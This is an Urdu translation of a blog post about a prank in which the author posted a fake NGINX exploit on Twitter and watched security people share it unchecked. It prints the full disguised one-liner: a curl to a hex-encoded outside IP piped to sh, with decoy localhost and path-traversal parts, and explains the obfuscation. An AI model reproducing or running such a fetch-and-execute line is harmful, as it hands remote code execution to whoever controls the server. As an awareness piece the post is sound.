جعلی nginx استحصال کے ساتھ سماجی تجربے کی کامیابی

نوٹ. ترجمہ: مصنف 1 جون کو شائع ہونے والے اصل نوٹ نے انفارمیشن سیکیورٹی میں دلچسپی رکھنے والوں کے درمیان ایک تجربہ کرنے کا فیصلہ کیا۔ ایسا کرنے کے لیے، اس نے ویب سرور میں نامعلوم خطرے کے لیے ایک جعلی استحصال تیار کیا اور اسے اپنے ٹوئٹر پر پوسٹ کیا۔ اس کے مفروضات - ماہرین کے ذریعہ فوری طور پر بے نقاب کیے جائیں گے جو کوڈ میں واضح دھوکہ دہی کو دیکھیں گے - نہ صرف یہ کہ سچ نہیں ہوئے... انہوں نے تمام توقعات سے تجاوز کیا، اور مخالف سمت میں: ٹویٹ کو متعدد لوگوں کی طرف سے زبردست حمایت ملی جنہوں نے ایسا نہیں کیا۔ اس کے مواد کو چیک کریں.

جعلی nginx استحصال کے ساتھ سماجی تجربے کی کامیابی

TL;DR: کسی بھی حالت میں sh یا bash میں فائل پائپ لائننگ کا استعمال نہ کریں۔ یہ آپ کے کمپیوٹر کا کنٹرول کھونے کا ایک بہترین طریقہ ہے۔

میں آپ کے ساتھ ایک مزاحیہ PoC استحصال کے بارے میں ایک مختصر کہانی شیئر کرنا چاہتا ہوں جو 31 مئی کو بنائی گئی تھی۔ کی خبروں کے جواب میں وہ فوری طور پر نمودار ہوئے۔ الیسا ایسج شیوچینکو، رکن زیرو ڈے انیشی ایٹو (ZDI)، کہ NGINX میں خطرے کے بارے میں معلومات جو RCE (ریموٹ کوڈ پر عمل درآمد) کا باعث بنتی ہے، جلد ہی ظاہر کر دی جائے گی۔ چونکہ NGINX بہت سی ویب سائٹس کو طاقت دیتا ہے، اس لیے خبریں ایک بم شیل رہی ہوں گی۔ لیکن "ذمہ دارانہ انکشاف" کے عمل میں تاخیر کی وجہ سے، کیا ہوا اس کی تفصیلات معلوم نہیں ہوئیں - یہ معیاری ZDI طریقہ کار ہے۔

جعلی nginx استحصال کے ساتھ سماجی تجربے کی کامیابی
ٹویٹ NGINX میں خطرے کے انکشاف کے بارے میں

کرل میں ایک نئی مبہم تکنیک پر کام مکمل کرنے کے بعد، میں نے اصل ٹویٹ کا حوالہ دیا اور "ایک ورکنگ پی او سی کو لیک کیا" جس میں کوڈ کی ایک لائن شامل تھی جو قیاس سے دریافت شدہ کمزوری کا استحصال کرتی ہے۔ یقیناً یہ مکمل بکواس تھی۔ میں نے فرض کیا کہ میں فوری طور پر بے نقاب ہو جاؤں گا، اور یہ کہ بہترین طور پر مجھے ایک دو ریٹویٹ ملیں گے (اوہ اچھا)۔

جعلی nginx استحصال کے ساتھ سماجی تجربے کی کامیابی
ٹویٹ جعلی استحصال کے ساتھ

تاہم، میں سوچ بھی نہیں سکتا تھا کہ آگے کیا ہوا۔ میرے ٹویٹ کی مقبولیت آسمان کو چھو رہی ہے۔ حیرت کی بات یہ ہے کہ اس وقت (15:00 ماسکو وقت 1 جون) بہت کم لوگوں کو احساس ہوا ہے کہ یہ جعلی ہے۔ بہت سے لوگ اسے بالکل بھی چیک کیے بغیر ریٹویٹ کرتے ہیں (اس کے خوبصورت ASCII گرافکس کی تعریف کرنے کو چھوڑ دیں)۔

جعلی nginx استحصال کے ساتھ سماجی تجربے کی کامیابی
ذرا دیکھو کتنا خوبصورت ہے!

اگرچہ یہ تمام لوپس اور رنگ بہت اچھے ہیں، یہ واضح ہے کہ لوگوں کو انہیں دیکھنے کے لیے اپنی مشین پر کوڈ چلانا پڑا۔ خوش قسمتی سے، براؤزرز اسی طرح کام کرتے ہیں، اور اس حقیقت کے ساتھ کہ میں واقعی میں قانونی پریشانی میں نہیں پڑنا چاہتا تھا، میری سائٹ میں دفن کردہ کوڈ کسی اضافی کوڈ کو انسٹال کرنے یا اس پر عمل کرنے کی کوشش کیے بغیر صرف ایکو کال کر رہا تھا۔

چھوٹی ہچکچاہٹ: نیٹ ڈراونا, یعنیمیں اور ٹیم کے دوسرے لوگ ٹھگوں کا ہجوم ہم کچھ عرصے سے curl کمانڈز کو مبہم کرنے کے مختلف طریقوں سے کھیل رہے ہیں کیونکہ یہ بہت اچھا ہے... اور ہم گیکس ہیں۔ netspooky اور dnz نے کئی نئے طریقے دریافت کیے جو میرے لیے انتہائی امید افزا لگ رہے تھے۔ میں تفریح ​​​​میں شامل ہوا اور چالوں کے تھیلے میں IP اعشاریہ تبادلوں کو شامل کرنے کی کوشش کی۔ یہ پتہ چلتا ہے کہ آئی پی کو ہیکساڈیسیمل فارمیٹ میں بھی تبدیل کیا جاسکتا ہے۔ مزید برآں، curl اور زیادہ تر NIX ٹولز خوشی سے ہیکساڈیسیمل IPs کھاتے ہیں! تو یہ صرف ایک قائل اور محفوظ نظر آنے والی کمانڈ لائن بنانے کا معاملہ تھا۔ آخر کار میں نے اس پر فیصلہ کیا:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

سماجی-الیکٹرانک انجینئرنگ (SEE) - صرف فشنگ سے زیادہ

حفاظت اور واقفیت اس تجربے کا ایک بڑا حصہ تھے۔ مجھے لگتا ہے کہ وہی ہیں جو اس کی کامیابی کا باعث بنے۔ کمانڈ لائن نے واضح طور پر "127.0.0.1" (مشہور لوکل ہوسٹ) کا حوالہ دے کر سیکیورٹی کو واضح کیا ہے۔ لوکل ہوسٹ کو محفوظ سمجھا جاتا ہے اور اس پر موجود ڈیٹا آپ کے کمپیوٹر کو کبھی نہیں چھوڑتا ہے۔

واقفیت تجربے کا دوسرا اہم SEE جزو تھا۔ چونکہ ہدف کے سامعین بنیادی طور پر کمپیوٹر سیکیورٹی کی بنیادی باتوں سے واقف افراد پر مشتمل ہوتے ہیں، اس لیے کوڈ بنانا ضروری تھا تاکہ اس کے کچھ حصے مانوس اور مانوس معلوم ہوں (اور اس لیے محفوظ)۔ پرانے استحصالی تصورات کے عناصر کو ادھار لینا اور ان کو غیر معمولی طریقے سے جوڑنا بہت کامیاب ثابت ہوا ہے۔

ذیل میں ون لائنر کا تفصیلی تجزیہ ہے۔ اس فہرست میں ہر چیز پہنتی ہے۔ کاسمیٹک فطرت، اور اس کے حقیقی آپریشن کے لیے عملی طور پر کچھ بھی درکار نہیں ہے۔

کیا اجزاء واقعی ضروری ہیں؟ یہ -gsS, -O 0x0238f06a, |sh اور خود ویب سرور۔ ویب سرور میں کوئی بدنیتی پر مبنی ہدایات نہیں تھیں، لیکن صرف کمانڈز کا استعمال کرتے ہوئے ASCII گرافکس پیش کرتا ہے۔ echo اسکرپٹ میں موجود ہے۔ index.html. جب صارف نے اس کے ساتھ ایک لائن داخل کی۔ |sh درمیان میں، index.html لوڈ اور پھانسی دی گئی. خوش قسمتی سے، ویب سرور کے سرپرستوں کا کوئی برا ارادہ نہیں تھا۔

  • ../../../%00 - ڈائریکٹری سے باہر جانے کی نمائندگی کرتا ہے۔
  • ngx_stream_module.so - بے ترتیب NGINX ماڈیول کا راستہ؛
  • /bin/sh%00<'protocol:TCP' - ہم قیاس شروع کر رہے ہیں۔ /bin/sh ٹارگٹ مشین پر اور آؤٹ پٹ کو TCP چینل پر ری ڈائریکٹ کریں۔
  • -O 0x0238f06a#PLToffset - خفیہ جزو، ضمیمہ #PLToffset, کسی طرح PLT میں موجود میموری آفسیٹ کی طرح نظر آنا؛
  • |sh; - ایک اور اہم ٹکڑا۔ ہمیں آؤٹ پٹ کو sh/bash پر ری ڈائریکٹ کرنے کی ضرورت ہے تاکہ اس پر واقع حملہ آور ویب سرور سے آنے والے کوڈ پر عمل درآمد کیا جا سکے۔ 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - ایک ڈمی جس میں نیٹ کیٹ سے مراد ہے۔ /dev/tcp/localhostتاکہ سب کچھ دوبارہ محفوظ نظر آئے۔ حقیقت میں، یہ کچھ نہیں کرتا اور خوبصورتی کے لئے لائن میں شامل ہے.

یہ ایک لائن اسکرپٹ کی ضابطہ کشائی اور "سوشیو-الیکٹرانک انجینئرنگ" (پیچیدہ فشنگ) کے پہلوؤں کی بحث کو ختم کرتا ہے۔

ویب سرور کنفیگریشن اور انسدادی اقدامات

چونکہ میرے سبسکرائبرز کی اکثریت infosec/hackers کی ہے، اس لیے میں نے ویب سرور کو ان کی طرف سے "دلچسپی" کے اظہار کے لیے کچھ زیادہ مزاحم بنانے کا فیصلہ کیا، تاکہ لڑکوں کو کچھ کرنا ہو (اور یہ مزہ آئے گا قائم کریں)۔ میں یہاں تمام نقصانات کی فہرست نہیں دینے جا رہا ہوں کیونکہ تجربہ ابھی جاری ہے، لیکن یہاں کچھ چیزیں ہیں جو سرور کرتا ہے:

  • کچھ سوشل نیٹ ورکس پر تقسیم کی کوششوں کو فعال طور پر مانیٹر کرتا ہے اور صارف کو لنک پر کلک کرنے کی ترغیب دینے کے لیے مختلف پیش نظارہ تھمب نیلز کو تبدیل کرتا ہے۔
  • شیل اسکرپٹ دکھانے کے بجائے Chrome/Mozilla/Safari/etc کو Thugcrowd پروموشنل ویڈیو پر ری ڈائریکٹ کرتا ہے۔
  • دخل اندازی/ صریح ہیکنگ کے واضح نشانات کو دیکھتا ہے، اور پھر NSA سرورز (ha!) پر درخواستوں کو ری ڈائریکٹ کرنا شروع کر دیتا ہے۔
  • ان تمام کمپیوٹرز پر ایک ٹروجن کے ساتھ ساتھ ایک BIOS روٹ کٹ انسٹال کرتا ہے جن کے صارف ایک باقاعدہ براؤزر سے میزبان کو دیکھتے ہیں (صرف مذاق!)۔

جعلی nginx استحصال کے ساتھ سماجی تجربے کی کامیابی
اینٹیمر کا ایک چھوٹا سا حصہ

اس معاملے میں، میرا واحد مقصد اپاچی کی کچھ خصوصیات میں مہارت حاصل کرنا تھا - خاص طور پر درخواستوں کو ری ڈائریکٹ کرنے کے ٹھنڈے اصول - اور میں نے سوچا: کیوں نہیں؟

NGINX استحصال (حقیقی!)

سبسکرائب کریں @alisaesage ٹویٹر پر اور NGINX میں بہت ہی حقیقی کمزوریوں کو دور کرنے اور مواقع سے فائدہ اٹھانے میں ZDI کے عظیم کام کی پیروی کریں۔ ان کے کام نے ہمیشہ مجھے متوجہ کیا ہے اور میں ایلس کا شکر گزار ہوں کہ اس نے ان تمام تذکروں اور اطلاعات کے ساتھ صبر کیا جو میرے احمقانہ ٹویٹ کی وجہ سے ہوئے۔ خوش قسمتی سے، اس نے کچھ اچھا بھی کیا: اس نے NGINX کی کمزوریوں کے ساتھ ساتھ curl کے غلط استعمال کی وجہ سے پیدا ہونے والی پریشانیوں کے بارے میں بیداری بڑھانے میں مدد کی۔

ماخذ: www.habr.com

نیا تبصرہ شامل کریں